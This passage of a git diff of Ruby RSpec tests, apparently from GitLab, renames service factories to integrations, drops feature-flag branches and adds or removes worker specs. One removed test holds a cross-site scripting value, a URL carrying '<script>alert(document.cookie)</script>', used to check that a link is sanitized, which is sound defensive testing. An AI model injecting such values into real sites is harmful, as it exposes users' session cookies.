expect(rendered).to have_link('Members', href: project_project_members_path(project))
end
@@ -277,7 +288,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
let(:external_issue_tracker_url) { 'http://test.com' }
let!(:external_issue_tracker) do
- create(:custom_issue_tracker_service, active: external_issue_tracker_active, project: project, project_url: external_issue_tracker_url)
+ create(:custom_issue_tracker_integration, active: external_issue_tracker_active, project: project, project_url: external_issue_tracker_url)
end
context 'when external issue tracker is configured and active' do
@@ -994,7 +1005,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
describe 'Confluence' do
- let!(:service) { create(:confluence_service, project: project, active: active) }
+ let!(:service) { create(:confluence_integration, project: project, active: active) }
before do
render
@@ -1327,4 +1338,22 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
it_behaves_like 'sidebar includes snowplow attributes', 'render', 'projects_side_navigation', 'projects_side_navigation'
+
+ describe 'Collapsed menu items' do
+ it 'does not render the collapsed top menu as a link' do
+ render
+
+ expect(rendered).not_to have_selector('.sidebar-sub-level-items > li.fly-out-top-item > a')
+ end
+
+ context 'when feature flag :sidebar_refactor is disabled' do
+ it 'renders the collapsed top menu as a link' do
+ stub_feature_flags(sidebar_refactor: false)
+
+ render
+
+ expect(rendered).to have_selector('.sidebar-sub-level-items > li.fly-out-top-item > a')
+ end
+ end
+ end
end
diff --git a/spec/views/projects/clusters/clusters/gcp/_form.html.haml_spec.rb b/spec/views/projects/clusters/clusters/gcp/_form.html.haml_spec.rb
index bf5cb6fb25d..5120998ded6 100644
--- a/spec/views/projects/clusters/clusters/gcp/_form.html.haml_spec.rb
+++ b/spec/views/projects/clusters/clusters/gcp/_form.html.haml_spec.rb
@@ -23,16 +23,4 @@ RSpec.describe 'clusters/clusters/gcp/_form' do
expect(rendered).to have_selector("input[id='cluster_provider_gcp_attributes_cloud_run']")
end
end
-
- context 'with cloud run feature flag disabled' do
- before do
- stub_feature_flags(create_cloud_run_clusters: false)
- end
-
- it 'does not have a cloud run checkbox' do
- render
-
- expect(rendered).not_to have_selector("input[id='cluster_provider_gcp_attributes_cloud_run']")
- end
- end
end
diff --git a/spec/views/projects/empty.html.haml_spec.rb b/spec/views/projects/empty.html.haml_spec.rb
index dd7b1bd94a9..7fa95507f75 100644
--- a/spec/views/projects/empty.html.haml_spec.rb
+++ b/spec/views/projects/empty.html.haml_spec.rb
@@ -46,47 +46,36 @@ RSpec.describe 'projects/empty' do
end
end
- describe 'invite_members_empty_project_version_a experiment' do
+ context 'with invite button on empty projects' do
let(:can_import_members) { true }
before do
allow(view).to receive(:can_import_members?).and_return(can_import_members)
end
- shared_examples_for 'no invite member info' do
- it 'does not show invite member info' do
- render
+ it 'shows invite members info', :aggregate_failures do
+ render
- expect(rendered).not_to have_content('Invite your team')
- end
+ expect(rendered).to have_selector('[data-track-event=render]')
+ expect(rendered).to have_selector('[data-track-label=invite_members_empty_project]')
+ expect(rendered).to have_content('Invite your team')
+ expect(rendered).to have_content('Add members to this project and start collaborating with your team.')
+ expect(rendered).to have_selector('.js-invite-members-trigger')
+ expect(rendered).to have_selector('.js-invite-members-modal')
+ expect(rendered).to have_selector('[data-label=invite_members_empty_project]')
+ expect(rendered).to have_selector('[data-event=click_button]')
end
- context 'when experiment is enabled' do
- it 'shows invite members info', :aggregate_failures do
- render
-
- expect(rendered).to have_selector('[data-track-event=render]')
- expect(rendered).to have_selector('[data-track-label=invite_members_empty_project]', count: 2)
- expect(rendered).to have_content('Invite your team')
- expect(rendered).to have_content('Add members to this project and start collaborating with your team.')
- expect(rendered).to have_link('Invite members', href: project_project_members_path(project, sort: :access_level_desc))
- expect(rendered).to have_selector('[data-track-event=click_button]')
- end
+ context 'when user does not have permissions to invite members' do
+ let(:can_import_members) { false }
- context 'when user does not have permissions to invite members' do
- let(:can_import_members) { false }
-
- it_behaves_like 'no invite member info'
- end
- end
+ it 'does not show invite member info', :aggregate_failures do
+ render
- context 'when experiment is not enabled' do
- before do
- allow(view).to receive(:experiment_enabled?)
- .with(:invite_members_empty_project_version_a).and_return(false)
+ expect(rendered).not_to have_content('Invite your team')
+ expect(rendered).not_to have_selector('.js-invite-members-trigger')
+ expect(rendered).not_to have_selector('.js-invite-members-modal')
end
-
- it_behaves_like 'no invite member info'
end
end
end
diff --git a/spec/views/projects/services/_form.haml_spec.rb b/spec/views/projects/services/_form.haml_spec.rb
index 4ca64eb3129..f063e73dae4 100644
--- a/spec/views/projects/services/_form.haml_spec.rb
+++ b/spec/views/projects/services/_form.haml_spec.rb
@@ -11,19 +11,18 @@ RSpec.describe 'projects/services/_form' do
allow(controller).to receive(:current_user).and_return(user)
- allow(view).to receive_messages(current_user: user,
- can?: true,
- current_application_settings: Gitlab::CurrentSettings.current_application_settings,
- request: double(referrer: '/services'))
+ allow(view).to receive_messages(
+ current_user: user,
+ can?: true,
+ current_application_settings: Gitlab::CurrentSettings.current_application_settings,
+ integration: project.redmine_service,
+ request: double(referer: '/services')
+ )
end
context 'commit_events and merge_request_events' do
- before do
- assign(:service, project.redmine_service)
- end
-
it 'display merge_request_events and commit_events descriptions' do
- allow(RedmineService).to receive(:supported_events).and_return(%w(commit merge_request))
+ allow(Integrations::Redmine).to receive(:supported_events).and_return(%w(commit merge_request))
render
diff --git a/spec/views/projects/services/edit.html.haml_spec.rb b/spec/views/projects/services/edit.html.haml_spec.rb
index 785af6a5344..a5460adbd2c 100644
--- a/spec/views/projects/services/edit.html.haml_spec.rb
+++ b/spec/views/projects/services/edit.html.haml_spec.rb
@@ -3,12 +3,12 @@
require 'spec_helper'
RSpec.describe 'projects/services/edit' do
- let(:service) { create(:drone_ci_service, project: project) }
+ let(:integration) { create(:drone_ci_integration, project: project) }
let(:project) { create(:project) }
before do
assign :project, project
- assign :service, service
+ assign :integration, integration
end
it do
@@ -17,7 +17,7 @@ RSpec.describe 'projects/services/edit' do
expect(rendered).not_to have_text('Recent Deliveries')
end
- context 'service using WebHooks' do
+ context 'integration using WebHooks' do
before do
assign(:web_hook_logs, [])
end
diff --git a/spec/views/projects/settings/operations/show.html.haml_spec.rb b/spec/views/projects/settings/operations/show.html.haml_spec.rb
index ab868eb78b8..43c064e1a2b 100644
--- a/spec/views/projects/settings/operations/show.html.haml_spec.rb
+++ b/spec/views/projects/settings/operations/show.html.haml_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe 'projects/settings/operations/show' do
it 'renders the Operations Settings page' do
render
- expect(rendered).to have_content _('Alert integrations')
+ expect(rendered).to have_content _('Alerts')
expect(rendered).to have_content _('Display alerts from all configured monitoring tools.')
end
end
@@ -59,7 +59,7 @@ RSpec.describe 'projects/settings/operations/show' do
expect(rendered).to have_content _('Prometheus')
expect(rendered).to have_content _('Link Prometheus monitoring to GitLab.')
- expect(rendered).to have_content _('To enable the installation of Prometheus on your clusters, deactivate the manual configuration.')
+ expect(rendered).to have_content _('To use a Prometheus installed on a cluster, deactivate the manual configuration.')
end
end
@@ -77,41 +77,11 @@ RSpec.describe 'projects/settings/operations/show' do
end
describe 'Operations > Tracing' do
- context 'with project.tracing_external_url' do
- it 'links to project.tracing_external_url' do
- render
-
- expect(rendered).to have_link('Tracing', href: tracing_setting.external_url)
- end
-
- context 'with malicious external_url' do
- let(:malicious_tracing_url) { "https://replaceme.com/'><script>alert(document.cookie)</script>" }
- let(:cleaned_url) { "https://replaceme.com/'>" }
-
- before do
- tracing_setting.update_column(:external_url, malicious_tracing_url)
- end
-
- it 'sanitizes external_url' do
- render
-
- expect(tracing_setting.external_url).to eq(malicious_tracing_url)
- expect(rendered).to have_link('Tracing', href: cleaned_url)
- end
- end
- end
-
- context 'without project.tracing_external_url' do
- let(:tracing_setting) { build(:project_tracing_setting, project: project) }
-
- before do
- tracing_setting.external_url = nil
- end
-
- it 'links to Tracing page' do
+ context 'Settings page ' do
+ it 'renders the Tracing Settings page' do
render
- expect(rendered).to have_link('Tracing', href: project_tracing_path(project))
+ expect(rendered).to have_content _('Embed an image of your existing Jaeger server in GitLab.')
end
end
end
diff --git a/spec/views/shared/nav/_sidebar.html.haml_spec.rb b/spec/views/shared/nav/_sidebar.html.haml_spec.rb
index cf9452ba68c..2eeebdff7a8 100644
--- a/spec/views/shared/nav/_sidebar.html.haml_spec.rb
+++ b/spec/views/shared/nav/_sidebar.html.haml_spec.rb
@@ -25,13 +25,11 @@ RSpec.describe 'shared/nav/_sidebar.html.haml' do
context 'when sidebar does not have a scope menu' do
let(:scope_menu_view_path) { 'shared/nav/' }
let(:scope_menu_view_name) { 'scope_menu.html.haml' }
- let(:scope_menu_view) { "#{scope_menu_view_path}#{scope_menu_view_name}" }
let(:scope_menu_partial) { "#{scope_menu_view_path}_#{scope_menu_view_name}" }
let(:content) { 'Custom test content' }
context 'when sidebar has a custom scope menu partial defined' do
it 'renders the custom partial' do
- allow(sidebar).to receive(:render_raw_scope_menu_partial).and_return(scope_menu_view)
allow(view).to receive(:scope_menu).and_return(nil)
stub_template(scope_menu_partial => content)
diff --git a/spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb b/spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb
deleted file mode 100644
index da0cbe37400..00000000000
--- a/spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Analytics::InstanceStatistics::CountJobTriggerWorker do
- it_behaves_like 'an idempotent worker'
-
- context 'triggers a job for each measurement identifiers' do
- let(:expected_count) { Analytics::UsageTrends::Measurement.identifier_query_mapping.keys.size }
-
- it 'triggers CounterJobWorker jobs' do
- subject.perform
-
- expect(Analytics::UsageTrends::CounterJobWorker.jobs.count).to eq(expected_count)
- end
- end
-end
diff --git a/spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb b/spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb
deleted file mode 100644
index 4994fec44ab..00000000000
--- a/spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Analytics::InstanceStatistics::CounterJobWorker do
- let_it_be(:user_1) { create(:user) }
- let_it_be(:user_2) { create(:user) }
-
- let(:users_measurement_identifier) { ::Analytics::UsageTrends::Measurement.identifiers.fetch(:users) }
- let(:recorded_at) { Time.zone.now }
- let(:job_args) { [users_measurement_identifier, user_1.id, user_2.id, recorded_at] }
-
- before do
- allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
- end
-
- include_examples 'an idempotent worker' do
- it 'counts a scope and stores the result' do
- subject
-
- measurement = Analytics::UsageTrends::Measurement.users.first
- expect(measurement.recorded_at).to be_like_time(recorded_at)
- expect(measurement.identifier).to eq('users')
- expect(measurement.count).to eq(2)
- end
- end
-
- context 'when no records are in the database' do
- let(:users_measurement_identifier) { ::Analytics::UsageTrends::Measurement.identifiers.fetch(:groups) }
-
- subject { described_class.new.perform(users_measurement_identifier, nil, nil, recorded_at) }
-
- it 'sets 0 as the count' do
- subject
-
- measurement = Analytics::UsageTrends::Measurement.groups.first
- expect(measurement.recorded_at).to be_like_time(recorded_at)
- expect(measurement.identifier).to eq('groups')
- expect(measurement.count).to eq(0)
- end
- end
-
- it 'does not raise error when inserting duplicated measurement' do
- subject
-
- expect { subject }.not_to raise_error
- end
-
- it 'does not insert anything when BatchCount returns error' do
- allow(Gitlab::Database::BatchCount).to receive(:batch_count).and_return(Gitlab::Database::BatchCounter::FALLBACK)
-
- expect { subject }.not_to change { Analytics::UsageTrends::Measurement.count }
- end
-
- context 'when pipelines_succeeded identifier is passed' do
- let_it_be(:pipeline) { create(:ci_pipeline, :success) }
-
- let(:successful_pipelines_measurement_identifier) { ::Analytics::UsageTrends::Measurement.identifiers.fetch(:pipelines_succeeded) }
- let(:job_args) { [successful_pipelines_measurement_identifier, pipeline.id, pipeline.id, recorded_at] }
-
- it 'counts successful pipelines' do
- subject
-
- measurement = Analytics::UsageTrends::Measurement.pipelines_succeeded.first
- expect(measurement.recorded_at).to be_like_time(recorded_at)
- expect(measurement.identifier).to eq('pipelines_succeeded')
- expect(measurement.count).to eq(1)
- end
- end
-end
diff --git a/spec/workers/authorized_project_update/project_recalculate_worker_spec.rb b/spec/workers/authorized_project_update/project_recalculate_worker_spec.rb
new file mode 100644
index 00000000000..403793a15e2
--- /dev/null
+++ b/spec/workers/authorized_project_update/project_recalculate_worker_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AuthorizedProjectUpdate::ProjectRecalculateWorker do
+ include ExclusiveLeaseHelpers
+
+ let_it_be(:project) { create(:project) }
+
+ subject(:worker) { described_class.new }
+
+ it 'is labeled as high urgency' do
+ expect(described_class.get_urgency).to eq(:high)
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { project.id }
+
+ it 'does not change authorizations when run twice' do
+ user = create(:user)
+ project.add_developer(user)
+
+ user.project_authorizations.delete_all
+
+ expect { worker.perform(project.id) }.to change { project.project_authorizations.reload.size }.by(1)
+ expect { worker.perform(project.id) }.not_to change { project.project_authorizations.reload.size }
+ end
+ end
+
+ describe '#perform' do
+ it 'does not fail if the project does not exist' do
+ expect do
+ worker.perform(non_existing_record_id)
+ end.not_to raise_error
+ end
+
+ it 'calls AuthorizedProjectUpdate::ProjectRecalculateService' do
+ expect_next_instance_of(AuthorizedProjectUpdate::ProjectRecalculateService, project) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ worker.perform(project.id)
+ end
+
+ context 'exclusive lease' do
+ let(:lock_key) { "#{described_class.name.underscore}/#{project.root_namespace.id}" }
+ let(:timeout) { 10.seconds }
+
+ context 'when exclusive lease has not been taken' do
+ it 'obtains a new exclusive lease' do
+ expect_to_obtain_exclusive_lease(lock_key, timeout: timeout)
+
+ worker.perform(project.id)
+ end
+ end
+
+ context 'when exclusive lease has already been taken' do
+ before do
+ stub_exclusive_lease_taken(lock_key, timeout: timeout)
+ end
+
+ it 'raises an error' do
+ expect { worker.perform(project.id) }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb b/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb
new file mode 100644
index 00000000000..cdf2cb493b0
--- /dev/null
+++ b/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AuthorizedProjectUpdate::UserRefreshFromReplicaWorker do
+ it 'is labeled as low urgency' do
+ expect(described_class.get_urgency).to eq(:low)
+ end
+
+ it_behaves_like "refreshes user's project authorizations"
+end
diff --git a/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb b/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb
index 832d5afd957..7c0c4d5bab4 100644
--- a/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb
+++ b/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+
let(:user) { project.namespace.owner }
let(:start_user_id) { user.id }
let(:end_user_id) { start_user_id }
@@ -11,56 +12,35 @@ RSpec.describe AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker do
it_behaves_like 'worker with data consistency',
described_class,
- feature_flag: :delayed_consistency_for_user_refresh_over_range_worker,
data_consistency: :delayed
describe '#perform' do
- context 'when the feature flag `periodic_project_authorization_update_via_replica` is enabled' do
- before do
- stub_feature_flags(periodic_project_authorization_update_via_replica: true)
- end
-
- context 'checks if project authorization update is required' do
- it 'checks if a project_authorization refresh is needed for each of the users' do
- User.where(id: start_user_id..end_user_id).each do |user|
- expect(AuthorizedProjectUpdate::FindRecordsDueForRefreshService).to(
- receive(:new).with(user).and_call_original)
- end
-
- execute_worker
- end
- end
-
- context 'when there are project authorization records due for either removal or addition for a specific user' do
- before do
- user.project_authorizations.delete_all
+ context 'checks if project authorization update is required' do
+ it 'checks if a project_authorization refresh is needed for each of the users' do
+ User.where(id: start_user_id..end_user_id).each do |user|
+ expect(AuthorizedProjectUpdate::FindRecordsDueForRefreshService).to(
+ receive(:new).with(user).and_call_original)
end
- it 'enqueues a new project authorization update job for the user' do
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to receive(:perform_async).with(user.id)
+ execute_worker
+ end
+ end
- execute_worker
- end
+ context 'when there are project authorization records due for either removal or addition for a specific user' do
+ before do
+ user.project_authorizations.delete_all
end
- context 'when there are no additions or removals to be made to project authorizations for a specific user' do
- it 'does not enqueue a new project authorization update job for the user' do
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).not_to receive(:perform_async)
+ it 'enqueues a new project authorization update job for the user' do
+ expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to receive(:perform_async).with(user.id)
- execute_worker
- end
+ execute_worker
end
end
- context 'when the feature flag `periodic_project_authorization_update_via_replica` is disabled' do
- before do
- stub_feature_flags(periodic_project_authorization_update_via_replica: false)
- end
-
- it 'calls AuthorizedProjectUpdate::RecalculateForUserRangeService' do
- expect_next_instance_of(AuthorizedProjectUpdate::RecalculateForUserRangeService, start_user_id, end_user_id) do |service|
- expect(service).to receive(:execute)
- end
+ context 'when there are no additions or removals to be made to project authorizations for a specific user' do
+ it 'does not enqueue a new project authorization update job for the user' do
+ expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).not_to receive(:perform_async)
execute_worker
end
diff --git a/spec/workers/build_hooks_worker_spec.rb b/spec/workers/build_hooks_worker_spec.rb
index 8395d8fb0e7..5f7e7e5fb00 100644
--- a/spec/workers/build_hooks_worker_spec.rb
+++ b/spec/workers/build_hooks_worker_spec.rb
@@ -24,18 +24,8 @@ RSpec.describe BuildHooksWorker do
end
describe '.perform_async' do
- context 'when delayed_perform_for_build_hooks_worker feature flag is disabled' do
- before do
- stub_feature_flags(delayed_perform_for_build_hooks_worker: false)
- end
-
- it 'does not call perform_in' do
- expect(described_class).not_to receive(:perform_in)
- end
- end
-
- it 'delays scheduling a job by calling perform_in' do
- expect(described_class).to receive(:perform_in).with(described_class::DATA_CONSISTENCY_DELAY.second, 123)
+ it 'delays scheduling a job by calling perform_in with default delay' do
+ expect(described_class).to receive(:perform_in).with(ApplicationWorker::DEFAULT_DELAY_INTERVAL.second, 123)
described_class.perform_async(123)
end
@@ -43,6 +33,5 @@ RSpec.describe BuildHooksWorker do
it_behaves_like 'worker with data consistency',
described_class,
- feature_flag: :load_balancing_for_build_hooks_worker,
data_consistency: :delayed
end
diff --git a/spec/workers/build_queue_worker_spec.rb b/spec/workers/build_queue_worker_spec.rb
new file mode 100644
index 00000000000..5f8510abf23
--- /dev/null
+++ b/spec/workers/build_queue_worker_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BuildQueueWorker do
+ describe '#perform' do
+ context 'when build exists' do
+ let!(:build) { create(:ci_build) }
+
+ it 'ticks runner queue value' do
+ expect_next_instance_of(Ci::UpdateBuildQueueService) do |instance|
+ expect(instance).to receive(:tick).with(build)
+ end
+
+ described_class.new.perform(build.id)
+ end
+ end
+
+ context 'when build does not exist' do
+ it 'does not raise exception' do
+ expect { described_class.new.perform(123) }
+ .not_to raise_error
+ end
+ end
+ end
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ feature_flag: :load_balancing_for_build_queue_worker,
+ data_consistency: :sticky
+end
diff --git a/spec/workers/bulk_import_worker_spec.rb b/spec/workers/bulk_import_worker_spec.rb
index 9119394f250..205bf23f36d 100644
--- a/spec/workers/bulk_import_worker_spec.rb
+++ b/spec/workers/bulk_import_worker_spec.rb
@@ -22,6 +22,16 @@ RSpec.describe BulkImportWorker do
end
end
+ context 'when bulk import is failed' do
+ it 'does nothing' do
+ bulk_import = create(:bulk_import, :failed)
+
+ expect(described_class).not_to receive(:perform_in)
+
+ subject.perform(bulk_import.id)
+ end
+ end
+
context 'when all entities are processed' do
it 'marks bulk import as finished' do
bulk_import = create(:bulk_import, :started)
@@ -34,6 +44,18 @@ RSpec.describe BulkImportWorker do
end
end
+ context 'when all entities are failed' do
+ it 'marks bulk import as failed' do
+ bulk_import = create(:bulk_import, :started)
+ create(:bulk_import_entity, :failed, bulk_import: bulk_import)
+ create(:bulk_import_entity, :failed, bulk_import: bulk_import)
+
+ subject.perform(bulk_import.id)
+
+ expect(bulk_import.reload.failed?).to eq(true)
+ end
+ end
+
context 'when maximum allowed number of import entities in progress' do
it 'reenqueues itself' do
bulk_import = create(:bulk_import, :started)
diff --git a/spec/workers/bulk_imports/export_request_worker_spec.rb b/spec/workers/bulk_imports/export_request_worker_spec.rb
index f7838279212..8d528011752 100644
--- a/spec/workers/bulk_imports/export_request_worker_spec.rb
+++ b/spec/workers/bulk_imports/export_request_worker_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe BulkImports::ExportRequestWorker do
it 'requests relations export' do
expected = "/groups/foo%2Fbar/export_relations"
- expect_next_instance_of(BulkImports::Clients::Http) do |client|
+ expect_next_instance_of(BulkImports::Clients::HTTP) do |client|
expect(client).to receive(:post).with(expected).twice
end
diff --git a/spec/workers/bulk_imports/pipeline_worker_spec.rb b/spec/workers/bulk_imports/pipeline_worker_spec.rb
index 27151177634..972a4158194 100644
--- a/spec/workers/bulk_imports/pipeline_worker_spec.rb
+++ b/spec/workers/bulk_imports/pipeline_worker_spec.rb
@@ -8,10 +8,16 @@ RSpec.describe BulkImports::PipelineWorker do
def initialize(_); end
def run; end
+
+ def self.ndjson_pipeline?
+ false
+ end
end
end
- let_it_be(:entity) { create(:bulk_import_entity) }
+ let_it_be(:bulk_import) { create(:bulk_import) }
+ let_it_be(:config) { create(:bulk_import_configuration, bulk_import: bulk_import) }
+ let_it_be(:entity) { create(:bulk_import_entity, bulk_import: bulk_import) }
before do
stub_const('FakePipeline', pipeline_class)
@@ -27,6 +33,7 @@ RSpec.describe BulkImports::PipelineWorker do
expect(BulkImports::Stage)
.to receive(:pipeline_exists?)
.with('FakePipeline')
+ .twice
.and_return(true)
expect_next_instance_of(Gitlab::Import::Logger) do |logger|
@@ -122,4 +129,117 @@ RSpec.describe BulkImports::PipelineWorker do
expect(pipeline_tracker.jid).to eq('jid')
end
end
+
+ context 'when ndjson pipeline' do
+ let(:ndjson_pipeline) do
+ Class.new do
+ def initialize(_); end
+
+ def run; end
+
+ def self.ndjson_pipeline?
+ true
+ end
+
+ def self.relation
+ 'test'
+ end
+ end
+ end
+
+ let(:pipeline_tracker) do
+ create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: 'NdjsonPipeline'
+ )
+ end
+
+ before do
+ stub_const('NdjsonPipeline', ndjson_pipeline)
+ allow(BulkImports::Stage)
+ .to receive(:pipeline_exists?)
+ .with('NdjsonPipeline')
+ .and_return(true)
+ end
+
+ it 'runs the pipeline successfully' do
+ allow_next_instance_of(BulkImports::ExportStatus) do |status|
+ allow(status).to receive(:started?).and_return(false)
+ allow(status).to receive(:failed?).and_return(false)
+ end
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+
+ expect(pipeline_tracker.reload.status_name).to eq(:finished)
+ end
+
+ context 'when export status is started' do
+ it 'reenqueues pipeline worker' do
+ allow_next_instance_of(BulkImports::ExportStatus) do |status|
+ allow(status).to receive(:started?).and_return(true)
+ allow(status).to receive(:failed?).and_return(false)
+ end
+
+ expect(described_class)
+ .to receive(:perform_in)
+ .with(
+ described_class::NDJSON_PIPELINE_PERFORM_DELAY,
+ pipeline_tracker.id,
+ pipeline_tracker.stage,
+ entity.id
+ )
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+ end
+ end
+
+ context 'when job reaches timeout' do
+ it 'marks as failed and logs the error' do
+ old_created_at = entity.created_at
+ entity.update!(created_at: (BulkImports::Pipeline::NDJSON_EXPORT_TIMEOUT + 1.hour).ago)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:error)
+ .with(
+ worker: described_class.name,
+ pipeline_name: 'NdjsonPipeline',
+ entity_id: entity.id,
+ message: 'Pipeline timeout'
+ )
+ end
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+
+ expect(pipeline_tracker.reload.status_name).to eq(:failed)
+
+ entity.update!(created_at: old_created_at)
+ end
+ end
+
+ context 'when export status is failed' do
+ it 'marks as failed and logs the error' do
+ allow_next_instance_of(BulkImports::ExportStatus) do |status|
+ allow(status).to receive(:failed?).and_return(true)
+ allow(status).to receive(:error).and_return('Error!')
+ end
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:error)
+ .with(
+ worker: described_class.name,
+ pipeline_name: 'NdjsonPipeline',
+ entity_id: entity.id,
+ message: 'Error!'
+ )
+ end
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+
+ expect(pipeline_tracker.reload.status_name).to eq(:failed)
+ end
+ end
+ end
end
diff --git a/spec/workers/ci/initial_pipeline_process_worker_spec.rb b/spec/workers/ci/initial_pipeline_process_worker_spec.rb
index 5db9287fe96..5fb8671fd5c 100644
--- a/spec/workers/ci/initial_pipeline_process_worker_spec.rb
+++ b/spec/workers/ci/initial_pipeline_process_worker_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe Ci::InitialPipelineProcessWorker do
describe '#perform' do
- let_it_be(:pipeline) { create(:ci_pipeline, :with_job, status: :created) }
+ let_it_be_with_reload(:pipeline) do
+ create(:ci_pipeline, :with_job, status: :created)
+ end
include_examples 'an idempotent worker' do
let(:job_args) { pipeline.id }
diff --git a/spec/workers/clusters/applications/activate_service_worker_spec.rb b/spec/workers/clusters/applications/activate_service_worker_spec.rb
index c157c57888e..7b05b76bebc 100644
--- a/spec/workers/clusters/applications/activate_service_worker_spec.rb
+++ b/spec/workers/clusters/applications/activate_service_worker_spec.rb
@@ -8,13 +8,13 @@ RSpec.describe Clusters::Applications::ActivateServiceWorker, '#perform' do
let(:service_name) { 'prometheus' }
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
context 'cluster type: group' do
let(:group) { create(:group) }
let(:project) { create(:project, group: group) }
- let(:cluster) { create(:cluster_for_group, :with_installed_helm, groups: [group]) }
+ let(:cluster) { create(:cluster_for_group, groups: [group]) }
it 'ensures Prometheus service is activated' do
expect { described_class.new.perform(cluster.id, service_name) }
@@ -24,7 +24,7 @@ RSpec.describe Clusters::Applications::ActivateServiceWorker, '#perform' do
context 'cluster type: project' do
let(:project) { create(:project) }
- let(:cluster) { create(:cluster, :with_installed_helm, projects: [project]) }
+ let(:cluster) { create(:cluster, projects: [project]) }
it 'ensures Prometheus service is activated' do
expect { described_class.new.perform(cluster.id, service_name) }
diff --git a/spec/workers/clusters/applications/deactivate_service_worker_spec.rb b/spec/workers/clusters/applications/deactivate_service_worker_spec.rb
index 18cceaaf3b1..4068c5c9eaa 100644
--- a/spec/workers/clusters/applications/deactivate_service_worker_spec.rb
+++ b/spec/workers/clusters/applications/deactivate_service_worker_spec.rb
@@ -6,19 +6,19 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
context 'cluster exists' do
describe 'prometheus service' do
let(:service_name) { 'prometheus' }
- let!(:application) { create(:clusters_applications_prometheus, :installed, cluster: cluster) }
+ let!(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
context 'prometheus service exists' do
let!(:prometheus_service) { create(:prometheus_service, project: project, manual_configuration: false, active: true) }
before do
- application.delete # prometheus service before save synchronises active stated with application existance.
+ integration.delete # prometheus service before save synchronises active stated with integration existence.
end
context 'cluster type: group' do
let(:group) { create(:group) }
let(:project) { create(:project, group: group) }
- let(:cluster) { create(:cluster_for_group, :with_installed_helm, groups: [group]) }
+ let(:cluster) { create(:cluster_for_group, groups: [group]) }
it 'ensures Prometheus service is deactivated' do
expect { described_class.new.perform(cluster.id, service_name) }
@@ -28,7 +28,7 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
context 'cluster type: project' do
let(:project) { create(:project) }
- let(:cluster) { create(:cluster, :with_installed_helm, projects: [project]) }
+ let(:cluster) { create(:cluster, projects: [project]) }
it 'ensures Prometheus service is deactivated' do
expect { described_class.new.perform(cluster.id, service_name) }
@@ -38,7 +38,7 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
context 'cluster type: instance' do
let(:project) { create(:project) }
- let(:cluster) { create(:cluster, :with_installed_helm, :instance) }
+ let(:cluster) { create(:cluster, :instance) }
it 'ensures Prometheus service is deactivated' do
expect { described_class.new.perform(cluster.id, service_name) }
@@ -50,7 +50,7 @@ RSpec.describe Clusters::Applications::DeactivateServiceWorker, '#perform' do
context 'prometheus service does not exist' do
context 'cluster type: project' do
let(:project) { create(:project) }
- let(:cluster) { create(:cluster, :with_installed_helm, projects: [project]) }
+ let(:cluster) { create(:cluster, projects: [project]) }
it 'does not raise errors' do
expect { described_class.new.perform(cluster.id, service_name) }.not_to raise_error
diff --git a/spec/workers/clusters/cleanup/app_worker_spec.rb b/spec/workers/clusters/cleanup/app_worker_spec.rb
deleted file mode 100644
index 661468f037f..00000000000
--- a/spec/workers/clusters/cleanup/app_worker_spec.rb
+++ /dev/null
